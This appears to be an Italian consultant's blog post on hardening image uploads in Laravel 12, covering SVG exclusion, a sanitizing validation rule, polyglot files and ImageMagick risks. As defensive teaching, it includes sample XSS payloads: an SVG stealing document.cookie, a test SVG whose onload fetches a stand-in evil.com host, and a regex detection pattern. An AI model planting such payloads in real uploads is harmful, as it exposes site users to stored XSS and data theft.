Sicurezza upload immagini in Laravel 12: perché la regola image esclude gli SVG e come validare i file in modo sicuro

Sicurezza upload immagini in Laravel 12: perché la regola image esclude gli SVG e come validare i file in modo sicuro

In un progetto per un'azienda del settore servizi digitali, un form di upload per i loghi aziendali accettava file SVG senza alcuna ispezione del contenuto - la regola image di Laravel 10 li considerava validi perché il MIME type image/svg+xml rientrava nella whitelist. Un SVG con <script>alert(document.cookie)</script> nel body passava la validazione e veniva renderizzato inline nelle pagine pubbliche, esponendo tutti gli utenti a stored XSS. L'OWASP File Upload Cheat Sheet è esplicito: "There is no silver bullet in validating user content. Implementing a defense-in-depth approach is key."

Perché Laravel 12 ha escluso gli SVG dalla regola image di default?

La PR #54331, mergiata il 24 gennaio 2025, ha rimosso image/svg+xml dalla whitelist della regola image. L'autore (Sander Muller) ha analizzato oltre 500 repository pubblici su GitHub che usavano la regola image - quasi nessuno escludeva gli SVG esplicitamente. Il problema è strutturale: un SVG è un documento XML che può contenere tag <script>, event handler inline (onload, onerror, onmouseover), elementi <foreignObject> con HTML arbitrario, e URI javascript: negli attributi href. La validazione MIME non rileva nessuno di questi payload perché il file è tecnicamente un SVG valido.

Per chi necessita di accettare SVG, Laravel 12 richiede ora un opt-in esplicito: image:allow_svg o File::image()->allowSvg(). Ma il MIME check da solo resta insufficiente - serve ispezione del contenuto XML. La libreria enshrined/svg-sanitize, usata anche da WordPress e Drupal, opera per whitelist di elementi e attributi permessi, rimuovendo tutto ciò che non è nella lista. Un caveat noto: DOMDocument di PHP non enumera gli attributi con namespace, quindi onclick:custom può eludere il sanitizer.

Come implementare una validazione upload sicura in Laravel 12?

La strategia difensiva richiede tre livelli: tipo MIME (via finfo), estensione (come conferma, mai come unico check), e ispezione del contenuto per formati attivi come SVG. Per immagini raster, la regola image di Laravel 12 è sufficiente - accetta solo JPEG, PNG, GIF, BMP e WebP. Per SVG, serve un Rule Object dedicato:

use Illuminate\Contracts\Validation\ValidationRule;
use enshrined\svgSanitize\Sanitizer;

class SafeSvgContent implements ValidationRule
{
    public function validate(string $attribute, mixed $value, \Closure $fail): void
    {
        if (! $value instanceof \Illuminate\Http\UploadedFile) {
            return;
        }

        $content = $value->get();
        $sanitizer = new Sanitizer();
        $sanitizer->removeRemoteReferences(true);

        $clean = $sanitizer->sanitize($content);

        if ($clean === false) {
            $fail('Il file :attribute contiene SVG non valido o non sanitizzabile.');
            return;
        }

        /* Controllo aggiuntivo: DOMDocument non enumera attributi con namespace,
         * quindi verifichiamo manualmente i pattern pericolosi residui */
        if (preg_match('/(on\w+\s*=|javascript\s*:|<foreignObject)/i', $clean)) {
            $fail('Il file :attribute contiene elementi SVG non consentiti.');
        }
    }
}

/* Form Request con validazione differenziata per tipo */
public function rules(): array
{
    return [
        'profile_picture' => [
            'required',
            File::image()->max(2 * 1024)
                ->dimensions(Rule::dimensions()->maxWidth(2000)->maxHeight(2000)),
        ],
        'company_logo' => [
            'required', 'file', 'mimetypes:image/svg+xml', 'max:256',
            new SafeSvgContent(),
        ],
    ];
}

La regola mimes e mimetypes differiscono internamente: entrambe usano finfo (via Symfony's MimeTypeGuesser) per rilevare il MIME dal contenuto, ma mimes aggiunge un passo in più - mappa il MIME rilevato a un'estensione e confronta quella. mimetypes confronta direttamente il MIME, evitando false negative (problema documentato per CSV e altri formati).

PHP finfo_file() usa libmagic per leggere i magic byte del file, ma un attaccante può preporre byte validi (es. GIF89a o \xFF\xD8\xFF) prima di codice PHP - il MIME risulta valido ma il file è un polyglot eseguibile. L'attacco PolyShell di marzo 2025 su Magento ha usato esattamente questa tecnica con polyglot GIF/PHP. Per questo finfo non è sufficiente come unica difesa: rinominare i file con hash (il metodo store() di Laravel lo fa di default), salvarli fuori dalla web root in storage/app/private/, e servire da un dominio separato con Content-Security-Policy: default-src 'none' sono i complementi necessari.

Il test della validazione upload usa UploadedFile::fake()->createWithContent() per simulare SVG malevoli e verificare che il Rule Object li rifiuti correttamente:

use Illuminate\Http\UploadedFile;
use Illuminate\Support\Facades\Storage;

public function test_valid_jpeg_passes_image_validation(): void
{
    Storage::fake('public');
    $file = UploadedFile::fake()->image('avatar.jpg', 600, 400)->size(500);

    $response = $this->postJson('/api/profile-image', [
        'profile_picture' => $file,
    ]);

    $response->assertOk();
}

public function test_svg_with_script_tag_is_rejected(): void
{
    $svg = '<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>';
    $file = UploadedFile::fake()->createWithContent('logo.svg', $svg);

    $response = $this->postJson('/api/company-logo', [
        'company_logo' => $file,
    ]);

    $response->assertUnprocessable();
    $response->assertJsonValidationErrorFor('company_logo');
}

public function test_svg_with_event_handler_is_rejected(): void
{
    $svg = '<svg xmlns="http://www.w3.org/2000/svg" onload="fetch(\'https://evil.com\')"></svg>';
    $file = UploadedFile::fake()->createWithContent('icon.svg', $svg);

    $response = $this->postJson('/api/company-logo', [
        'company_logo' => $file,
    ]);

    $response->assertUnprocessable();
}

Errori comuni nella sicurezza degli upload

Il primo errore è fidarsi dell'header Content-Type della request. Il browser lo imposta in base all'estensione del file, e un attaccante può sovrascriverlo - OWASP lo classifica come "client-supplied and trivially spoofable". La regola mimetypes di Laravel usa finfo sul contenuto del file, non l'header HTTP - ma solo se si usa mimetypes, non mimes da sola.

Il secondo è processare immagini uploadate con ImageMagick senza policy restrittive. ImageTragick (CVE-2016-3714) - ancora nel catalogo KEV di CISA - sfrutta i delegate di ImageMagick per eseguire comandi shell. Nel 2025, CVE-2025-57803 (CVSS 9.8) ha introdotto un integer overflow nell'encoder BMP sfruttabile via upload-and-convert. Il policy.xml di ImageMagick deve disabilitare i coder pericolosi (MVG, MSL, HTTPS, URL) con rights="none".

Il terzo è renderizzare SVG inline nell'HTML senza sanitizzazione. Un SVG renderizzato con <object> o <embed> esegue JavaScript con i privilegi dell'origine; anche <svg> inline nel DOM ha accesso completo alla pagina. Solo <a class="glightbox post-image-link" data-gallery="post" href="file.svg"><img src="file.svg" class="post-image" loading="lazy" alt="" /></a> blocca l'esecuzione degli script. Per SVG uploadati, servire sempre con Content-Disposition: attachment o renderizzare solo via tag <img>.

Il quarto è validare le dimensioni solo in byte. Un'immagine da 100KB può avere risoluzione 10.000×10.000 pixel - la decompressione consuma gigabyte di RAM. La regola dimensions di Laravel con maxWidth e maxHeight previene questo vettore di denial-of-service.

La sicurezza degli upload è un problema di defense-in-depth - nessun singolo check è sufficiente, ma la combinazione di validazione MIME, ispezione del contenuto, rinomina dei file, isolamento dello storage e header CSP copre i vettori documentati. I test automatici con UploadedFile::fake()->createWithContent() permettono di verificare che SVG malevoli vengano rifiutati. Per conoscere il mio approccio alla sicurezza applicativa in Laravel, visita la mia pagina professionale. Se il tuo applicativo accetta upload senza ispezione del contenuto o serve SVG inline senza sanitizzazione, contattami per una consulenza dedicata - partiamo dall'audit delle regole di validazione e dalla configurazione dello storage.

Ultima modifica: